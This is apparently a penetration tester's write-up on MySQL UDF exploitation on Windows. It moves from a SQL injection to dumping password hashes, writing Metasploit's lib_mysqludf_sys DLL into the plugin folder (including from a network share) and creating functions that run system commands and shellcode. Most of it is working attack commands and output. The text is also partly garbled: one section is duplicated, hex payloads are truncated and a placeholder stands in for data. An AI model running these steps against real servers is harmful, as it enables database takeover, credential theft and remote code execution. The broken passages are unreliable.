MySQL UDF Exploitation

Osanda Malith Jayathissa
(@OsandaMalith)
Table of Contents

Overview .................................................................................................................................................. 3
What is a UDF Library? ........................................................................................................................... 5
Uploading a Binary File .......................................................................................................................... 7
Exploring the DLL ................................................................................................................................... 10
sys_exec .................................................................................................................................................. 10
sys_eval .................................................................................................................................................. 11
sys_get ................................................................................................................................................... 13
Executing Shellcode – sys_bineval ........................................................................................................ 14
References ............................................................................................................................................... 16
About Me ............................................................................................................................................... 17
Overview

In the real world, while I was pentesting a financial institute I came across a scenario where they had an internal intranet and it was using MySQL 5.7 64-bit as the backend database technology. Most of the time I encounter MSSQL in most cooperate environments, but this was a rare case. I found SQL injection in the web application and I was able to dump the username and password from the mysql.user and I realized it had privileges to write files to disk. This lead me into writing a post and sharing techniques in injecting a UDF library to MySQL and gaining code execution and popping a shell in Windows. When I Googled most techniques are a bit vague when it comes to Windows. So, I thought of writing this post with my own research to clear things and make you understand few tricks you can use to do this manually.

I will be hosting the latest MySQL 5.7.21 latest community server by the time I am blogging this, in one machine. To reproduce the scenario, I am running the mysqld server with ‘--secure-file-priv=’ parameter set to blank. In this scenario I was able to retrieve the username and password from the mysql.user table using a union based injection in the intranet. Note that in MySQL 5.7 and above the column ‘password’ doesn’t exists. They have changed it to ‘authentication_string’.

```
# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;
```

Note that you can use the metasploit’s mysql_hashdump.rb auxiliary module to dump the MySQL hashes if you already have the credentials. By the time I am writing this blog post the script needed to be updated to extract in MySQL 5.7 you can check my pull request [here](https://github.com/)<br

The host column for the user ‘osanda’ allows connections from 192.168.0.*, which means we can use this user for remote connections from that IP range. I cracked password hash and got the plain text password.
After logging into MySQL I had a look at the privileges the current user had.

```
select * from mysql.user where user = substring_index(user(), '@', 1);
```
The user we are logged in has all the privileges and we have privileges to read and write files, in which you can think about writing a UDF DLL library and gaining code execution on the box.

What is a UDF Library?

UDF means User Defined Functions in MySQL. It’s like coding your own functions inside a DLL and calling them inside MySQL. We are going to use the “lib_mysqludf_sys_64.dll” DLL library which can be found inside the Metasploit framework. You can use the UDF libraries based on the OS and architecture that is inside your Metasploit installation directory “/usr/share/metasploit-framework/data/exploits/mysql/”.`Click here` for the github link to the files.

First, we must check the architecture of MySQL running. The global variable ‘@@version_compile_os’ shows us the architecture of the MySQL instance and the ‘@@version_compile_machine’ shows us the architecture of the operating system. In this case we are running a 64-bit version of MySQL inside a 64-bit Windows OS.

```
MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+
| Win64               | x86_64                    |
+----------------------+
MySQL [(none)]> show variables like '%compile%';
+-----------------+--------+
| Variable_name   | Value  |
+-----------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Win64  |
+-----------------+--------+
Starting from MySQL 5.0.67 the UDF library must be contained inside the plugin folder which can be found out by using the `@@plugin_dir` global variable. This variable can be seen and edited inside the `mysql.ini` file.

MySQL [(none)]> select @@plugin_dir ;
+ | @@plugin_dir | +
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin | +
1 row in set (0.02 sec)

MySQL [(none)]> show variables like 'plugin%';
<table>
<thead>
<tr>
<th>Variable_name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>plugin_dir</td>
<td>D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin</td>
</tr>
</tbody>
</table>

You can change the plugin directory variable by passing the new value to the mysqld.

```
mysql.exe -plugin-dir=C:\\temp\\plugins\\
```

Another way would be to write a new mysql configuration file with the plugin directory and pass it to mysqld.

```
mysql.exe --defaults-file=C:\\temp\\my.ini
```

The content of the ‘my.ini’

```
[mysqld]
plugin_dir = C:\\temp\\plugins\\
```

In MySQL versions prior to 5.0.67 it’s said the file must be in a directory that is searched by your system’s dynamic linker. The same applies to MySQL versions prior to 4.1.25. Here’s the text as mentioned in the documentation.

“As of MySQL 5.0.67, the file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 5.0.67 applies: The file must be located in a directory that is searched by your system’s dynamic linker.”
“As of MySQL 4.1.25, the file must be located in the plugin directory. This directory is given by the value of
the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 4.1.25
applies: The file must be located in a directory that is searched by your system’s dynamic linker.”

In older versions you can upload the DLL file to the following locations and create new UDF functions.

- @@datadir
- @@basedir\bin
- C:\Windows
- C:\Windows\system
- C:\Windows\system32

### Uploading a Binary File

There are many possible ways you can do this. The function load_file supports network paths. If you can
copy the DLL inside a network share you can directly load it and write to disk.

```sql
select load_file('\\192.168.0.19\network\lib_mysqludf_sys_64.dll') into dumpfile
"D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
```

Another method would be writing the entire DLL file into the disk in one hex encoded string.

```sql
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile
'/tmp/udf.hex';
```

```sql
select 0x4d5a90000300000004000000ffff0000b8000000000004000000000000000000000000000000000000000f00000000e1fba0e0b409cd21b8014cdd2154686973207
```

Another way would be by creating a table and inserting the binary data in a hex encoded stream. You can
try writing in one insert statement or by breaking down into pieces, in which by using the update
statement to contact the binary data.

```sql
create table temp(data longblob);
```

```sql
insert into temp(data) values
(0x4d5a90000300000004000000ffff0000b8000000000004000000000000000000000000000000000000000f00000000e1fba0e0b409cd21b8014cdd2154686973207)
```
update temp set data = 
concat(data, 0x33c2ede077a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b3000000000000000000000000000000050450000648606000b1834b00000000); 

select data from temp into dump file "D:\MySql\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\udf.dll";

You can also directly load the file from disk to the above created table from a network share or locally like using 'load data infile' statement. Convert the file to hex like I’ve show above and unhex it while writing to disk.

load data infile '192.168.0.19\network\udf.hex' 
into table temp fields terminated by '@OsandaMalith' 
lines terminated by '@OsandaMalith' (data); 

select unhex(data) from temp into dumpfile 'D:\MySql\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\udf.dll';

There’s good news starting from MySQL 5.6.1 and MariaDB 10.0.5. The functions ‘to_base64’ and ‘from_base64’ were introduced. If you are a guy like me who loves bypassing WAFs in SQL injection you might be already using these functions (hint: routed query injection).

select to_base64(load_file(’/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

You can edit the base64 file and add the following lines to dump to the plugin dir.
select from_base64([ RAW_TEXT_1 ]) into dumpfile 'D:\MySQL\mysql-5.7.21-winx64\lib\plugin\udf.dll';

After that you can pass the entire file to mysql like this.

```bash
tmp/udf.b64
```

You can also directly write the base64 encoded file from a network share or locally using the above discussed 'load data infile' statement and dump like this.

```sql
select from_base64(data) from temp into dumpfile 'D:\MySQL\mysql-5.7.21-winx64\lib\plugin\udf.dll';
```
Exploring the DLL

Most of the time I’ve seen people writing only about the ‘sys_exec’ function inside this DLL which is inside Metasploit. For curiosity, I thought of reversing this DLL and exploring other functions. If we check the export directory, we can see the author had written few more useful functions. I’ll show some useful functions.

**sys_exec**

The function will pass the argument ‘args->args[0]’ inside the ‘system’ function. You can use this to execute system commands on the target machine.
**Installation**

```sql
create function sys_exec returns int soname 'udf.dll';
```

**Verification**

```sql
select * from mysql.func where name = 'sys_exec';
```

<table>
<thead>
<tr>
<th>name</th>
<th>ret</th>
<th>dl</th>
<th>type</th>
</tr>
</thead>
<tbody>
<tr>
<td>sys_exec</td>
<td>2</td>
<td>udf.dll</td>
<td>function</td>
</tr>
</tbody>
</table>

**Deletion**

```sql
drop function sys_exec;
```

**sys_eval**

This function will execute system commands and display on the screen passing to stdout. As you can use this function uses the '_popen' function with the 'r' parameter in which the calling process can read the spawned command's standard output via the returned stream. It uses 'fgets' to read the pipe to a buffer and it will return us the buffer.

```
18000140F ; __unwind { // __GSHandlerCheck
18000140F mov [rsp+458h+arg_10], rbp
180001417 mov r14, r9
18000141A mov rdi, rdx
18000141D call cs:malloc
180001423 mov rcx, [rdi+10h]
180001427 lea rdx, Mode ; "r"
18000142E xor r12d, r12d
180001431 mov rcx, [rcx] ; Command
180001434 mov rsi, rax
180001437 call cs:__popen
18000143D lea rcx, [rsp+458h+Buf] ; Buf
180001442 mov edx, 400h ; MaxCount
180001447 mov r8, rax ; File
18000144A mov rbp, rax
18000144D call cs:fgets
180001453 test rax, rax
180001456 jz short loc_1800014BE
180001458 ; } // starts at 18000140F
```
Installation

create function sys_eval returns string soname 'udf.dll';

Verification

select * from mysql.func where name = 'sys_eval';

Deletion

drop function sys_eval;

Example

select sys_eval('dir');
sys_get

This function uses the ‘getenv’ function to return us the value of the system variables.

Installation

```sql
CREATE FUNCTION sys_get RETURNS STRING SONAME 'udf.dll';
```

Verification

```sql
SELECT * FROM mysql.func WHERE name = 'sys_get';
```

Deletion

```sql
DROP FUNCTION sys_get;
```

Example

```sql
SELECT sys_get('longonserver');
```

```
MySQL [(none)]> SELECT sys_get('longonserver');
+----------------------+
| sys_get('longonserver') |
| \\ZDL-00024            |
+----------------------+
1 row in set (0.02 sec)
```

```c
sys_get

This function uses the 'getenv' function to return us the value of the system variables.

Installation

```sql
CREATE FUNCTION sys_get RETURNS STRING SONAME 'udf.dll';
```

Verification

```sql
SELECT * FROM mysql.func WHERE name = 'sys_get';
```

Deletion

```sql
DROP FUNCTION sys_get;
```

Example

```sql
SELECT sys_get('longonserver');
```

```
MySQL [(none)]> SELECT sys_get('longonserver');
+----------------------+
| sys_get('longonserver') |
| \\ZDL-00024            |
+----------------------+
1 row in set (0.02 sec)
```
I found a cool function inside this DLL as ‘sys_bineval’ which can be used to execute shellcode. This function will allocate RWX memory using the ‘VirtualAlloc’ API and using ‘strcpy’ the ‘args->args[0]’ will be copied into the newly allocated memory. Then this buffer is passed to the ‘CreateThread’ API to spawn a new thread.
If we have a look at the ‘CreateThread’ API we can see that the ‘lpParameter’ which is the copied buffer using the ‘strcpy’ is passed as a pointer to a variable to be passed to the thread. The function at the ‘StartAddress’ will directly move the ‘lpParameter’ and call ptr rax, that will change RIP to our shellcode.

```
sub_18000160 proc near
arg_0= qword ptr 10h
push rbp
mov rbp, rsp
mov rax, [rbp+arg_0]
call qword ptr [rax]
leave
ret
sub_18000160 endp
```

Installation

```create function sys_bineval returns int soname 'udf.dll';
```

Verification

```select * from mysql.func where name = 'sys_bineval';
```

Deletion

```drop function sys_bineval;
```

Example

However I did not get this working in 64-bit. This works fine in 32-bit platforms. You can directly open the raw binary shellcode or encode to base64 or hex encode and execute using this function.

```select sys_bineval(from_base64(load_file('./calc.b64')));
```
I noticed that these external UDF functions do not have proper exception handling in the dissembled code. Hence, a slightest mistake while calling these functions will lead the mysqld.exe server to crash. I hope this article might be useful to you while pentesting MySQL.

References

https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html
About Me

I’m a very young independent security researcher passionate in application security, penetration testing and reverse engineering. I got acknowledged by many organizations for disclosing vulnerabilities including Microsoft, Apple, Oracle, AT&T, Sony, etc. Currently holds OSCE, OSCP, OSWP, eCRE, eWPTX, eCPPT, eWPT. You can check other interesting things related to SQLi on https://osandamalith.com/tag/mysql/